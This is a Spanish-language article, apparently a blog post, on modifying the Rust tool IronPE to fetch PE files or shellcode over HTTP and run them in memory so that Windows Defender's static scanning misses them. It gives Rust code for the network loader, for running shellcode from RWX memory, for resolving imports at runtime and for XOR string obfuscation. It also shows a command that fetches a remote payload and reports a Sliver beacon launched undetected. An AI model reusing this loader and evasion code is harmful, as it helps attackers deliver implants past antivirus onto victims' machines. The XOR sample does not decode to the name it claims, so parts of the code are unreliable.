Modificación de IronPE para Carga de Archivos PE en Memoria y Evasión de Defender
Una versión modificada de IronPE permite cargar archivos PE (EXE o DLL) a través de HTTP/HTTPS directamente en la memoria, evitando escrituras en disco. Esto elude el análisis estático de Windows Defender al no dejar rastros en el sistema de archivos. La implementación en Rust utiliza mapeo manual con resolución dinámica de importaciones y ofuscación de cadenas.
IronPE fue diseñado originalmente para demostrar mecanismos de carga de PE sin usar APIs estándar como CreateProcess o LoadLibrary. Esta modificación añade carga de payloads basada en red y soporte para shellcode, manteniendo llamadas legítimas a WinAPI.
Cambios Clave en el Código
Carga HTTP con reqwest
Para recuperar el archivo PE desde la red, se integra un cliente bloqueante de reqwest, con un User-Agent que imita un navegador y un tiempo de espera de 120 segundos.
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
Ejecución: ./ironpe --x64 http://server/payload.exe. Los bytes se cargan en memoria sin guardarse en disco.
Soporte para Shellcode
El modo --shellcode asigna memoria RWX mediante VirtualAlloc y copia los bytes allí para ejecución directa. Adecuado para stagers como Sliver.
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
Resolución Dinámica de Importaciones
La IAT se minimiza: todas las funciones (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) se resuelven en tiempo de ejecución. No hay referencias estáticas a inyección o acceso a LSASS, reduciendo la detección.
Ofuscación de Cadenas
Los nombres de DLL y funciones se almacenan como bytes cifrados con XOR. El descifrado ocurre solo durante la ejecución.
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);
Mecanismos de Evasión de Análisis Estático
Esta técnica funciona en Windows 11 25H2 con Defender activo (en tiempo real, en la nube). Factores clave:
- Sin Disco: El payload (~30 MB de beacon Sliver) no se guarda.
- APIs Legítimas: VirtualAlloc, LoadLibrary, etc. — estándar para instaladores.
- IAT Vacía: Las dinámicas ocultan llamadas sospechosas.
- Rust: Poco común en malware, menos reglas YARA.
- Etapa de Red: El payload es desconocido para el escáner estático.
Ventajas y Limitaciones
| Aspecto | IronPE Original | Modificación |
|--------|-----------------|-------------|
| Carga | Archivo local | HTTP/HTTPS |
| Shellcode | No | Sí, RWX |
| IAT | Parcialmente dinámica | Totalmente dinámica |
| Cadenas | Texto plano | Ofuscación XOR |
| Detección por Defender | Posible | Evasión estática |
En pruebas en un VPS con un servidor Python (puerto 8081), se lanzó una sesión de Sliver sin notificaciones de Defender.
Puntos Clave:
- Mapeo manual + HTTP elimina firmas de archivos.
- Importaciones dinámicas minimizan la huella estática.
- Rust reduce el riesgo de firmas pero no el comportamiento.
- Requiere refinamiento para EDR con monitoreo AMSI/ETW.
- Solo para investigación en seguridad.
— Editorial Team
Aún no hay comentarios.